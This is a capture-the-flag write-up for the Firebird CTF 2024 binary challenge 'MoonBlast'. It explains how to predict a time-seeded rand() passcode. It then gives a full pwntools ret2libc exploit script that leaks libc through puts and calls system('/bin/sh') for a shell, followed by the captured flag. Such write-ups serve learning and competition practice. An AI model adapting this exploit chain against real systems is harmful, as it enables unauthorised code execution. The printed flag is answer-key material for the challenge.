bebop404

Firebird CTF 2024: MoonBlast

First blood — bypassing a time-seeded srand passcode with a local ctypes call, then classic ret2libc ROP via puts leak.

1st 🩸

Analyse

The srand here, though it uses time(0) as the parameter, is based on seconds, so you can directly run it locally to pass through.

int initialize()
{
	unsigned int v0; // eax
	int result; // eax
 
	setvbuf(stdin, 0LL, 2, 0LL);
	setvbuf(stdout,0LL, 2, 0LL);
	setvbuf(stderr, 0LL, 2, 0LL);
	v0 = time(0LL);
	srand(v0);
  result = rand();
	passcode = result;
  return result;
}

After that, it's just normal ROP.

The first ROP leaks the address of the getchar function through puts and eventually makes the program return to the command function.

Then, find the /bin/sh and system addresses for the final ROP to get a shell.

from pwn import *
from ctypes import *
 
elf=ELF('./pwn')
# r=process('./pwn')
r=remote('ash-chal.firebird.sh',36031)
libc1=ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
 
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
 
libc = CDLL('./libc6_2.27-3ubuntu1.5_amd64.so')
time = libc.time(0)
print(hex(time))
libc.srand(time)
rand = libc.rand()
print(hex(rand))
 
r.recvuntil(b'Please enter the passcode: ')
r.sendline(bytes(str(rand),encoding='utf8'))
 
pop_rdi = 0x0000000000400a13
 
r.recvuntil(b'Please enter your command: ')
payload = b'a'*0x78
payload += flat(pop_rdi,elf.got['getchar'],elf.plt['puts'],elf.sym['command'])
r.sendline(payload)
 
r.recvuntil(b'Command received!\n')
libc_base = u64(r.recv(6).ljust(8,b'\x00')) - libc1.symbols['getchar']
print(hex(libc_base))
 
bin_sh_addr = libc_base + next(libc1.search(b'/bin/sh'))
system_addr = libc_base + libc1.symbols['system']
 
r.recvuntil(b'Please enter your command: ')
payload = b'a'*0x78
payload += flat(pop_rdi,bin_sh_addr,0x00000000004006ae,system_addr)
r.sendline(payload)
 
# gdb.attach(r)
 
r.interactive()

firebird{R3tu?n_tO_7h3_m00n_1969}

GLHF~